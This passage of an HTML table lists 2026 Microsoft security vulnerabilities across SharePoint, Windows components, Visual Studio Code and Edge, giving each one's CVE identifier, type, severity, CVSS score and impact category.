  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41101"><span>CVE-2026-41101</span></a></td>
  <td width="256" class="xl73">Microsoft Word for
  Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35440"><span>CVE-2026-35440</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40421"><span>CVE-2026-40421</span></a></td>
  <td width="256" class="xl73">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41097"><span>CVE-2026-41097</span></a></td>
  <td width="256" class="xl73">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40370"><span>CVE-2026-40370 †</span></a></td>
  <td width="256" class="xl73">SQL Server Remote Code
  Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41613"><span>CVE-2026-41613</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41612"><span>CVE-2026-41612</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41611"><span>CVE-2026-41611</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41610"><span>CVE-2026-41610</span></a></td>
  <td width="256" class="xl73">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33839"><span>CVE-2026-33839</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33840"><span>CVE-2026-33840</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34330"><span>CVE-2026-34330</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34331"><span>CVE-2026-34331</span></a></td>
  <td width="256" class="xl73">Win32k Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35423"><span>CVE-2026-35423</span></a></td>
  <td width="256" class="xl73">Windows 11 Telnet
  Client Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35438"><span>CVE-2026-35438</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086"><span>CVE-2026-41086</span></a></td>
  <td width="256" class="xl73">Windows Admin Center
  in Azure Portal Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34344"><span>CVE-2026-34344</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34345"><span>CVE-2026-34345</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35416"><span>CVE-2026-35416</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41088"><span>CVE-2026-41088</span></a></td>
  <td width="256" class="xl73">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34343"><span>CVE-2026-34343</span></a></td>
  <td width="256" class="xl73">Windows Application
  Identity (AppID) Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35418"><span>CVE-2026-35418</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33835"><span>CVE-2026-33835</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34337"><span>CVE-2026-34337</span></a></td>
  <td width="256" class="xl73">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40407"><span>CVE-2026-40407</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40397"><span>CVE-2026-40397</span></a></td>
  <td width="256" class="xl73">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42896"><span>CVE-2026-42896</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35419"><span>CVE-2026-35419</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34336"><span>CVE-2026-34336</span></a></td>
  <td width="256" class="xl73">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33834"><span>CVE-2026-33834</span></a></td>
  <td width="256" class="xl73">Windows Event Logging
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32209"><span>CVE-2026-32209</span></a></td>
  <td width="256" class="xl73">Windows Filtering
  Platform (WFP) Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33841"><span>CVE-2026-33841</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35420"><span>CVE-2026-35420</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
